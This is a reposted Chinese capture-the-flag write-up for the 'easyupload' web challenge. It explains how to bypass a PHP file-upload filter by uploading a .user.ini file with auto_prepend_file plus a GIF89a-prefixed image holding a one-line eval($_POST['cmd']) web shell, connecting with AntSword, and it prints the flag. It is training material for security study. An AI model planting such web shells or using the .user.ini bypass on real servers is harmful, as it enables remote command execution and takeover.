码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 攻防世界WEB练习-easyupload


    前言

    作者简介:不知名白帽,网络安全学习者。

    博客主页:https://blog.csdn.net/m0_63127854?type=blog

    攻防世界专栏:https://blog.csdn.net/m0_63127854/category_11983747.html

    Upload-labs专栏:https://blog.csdn.net/m0_63127854/category_11850783.html

    网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

    目录

    题目场景

    查看源码

    官方WriteUp

    BP抓包

    F12查看文件去向

    蚁剑连接

    找到flag


    题目场景

    查看源码

    毫无有效的数据

    官方WriteUp

    本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

    本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

    这里需要绕过的点如下

    1. 检查文件内容是否有php字符串
    2. 检查后缀中是否有htaccess或ph
    3. 检查文件头部信息
    4. 文件MIME类型

    对于第一点可以利用短标签绕过,例如

    对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

    https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

    在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
    这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
    其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

    第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

    第四点绕过方法即修改上传时的Content-Type

    因此最终的payload为:
    上传.user.ini,内容为

    1. GIF89a                  
    2. auto_prepend_file=a.jpg

    上传a.jpg,内容为

    1. GIF89a
    2. eval($_POST['cmd']);?>

    BP抓包

    上传.user.ini

    再上传a.jpg

    F12查看文件去向

    蚁剑连接

    打开flag查看

    找到flag

    cyberpeace{85f32dea0ed6b7be27fa02c28a97228f}

  • 相关阅读:
    win 怎么设置默认浏览器
    《Spring Guides系列学习》guide21 - guide25
    微信第三方平台开发重点概念流程梳理
    Mysql进阶优化篇01——四万字详解数据库性能分析工具(深入、全面、详细,收藏备用)
    基于单片机的出租车计价器设计
    如何隐藏删除去除桌面图标快捷方式的小箭头(含恢复方法)
    Java Swing游戏开发学习25
    TSINGSEE青犀AI智能分析网关V4工业园区/厂区/工厂智慧安监方案
    2024年【上海市安全员C3证】新版试题及上海市安全员C3证复审考试
    别以为面试完就完事了!大厂HR告诉你这件事不做就亏大了!
  • 原文地址:https://blog.csdn.net/m0_63127854/article/details/126633686
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号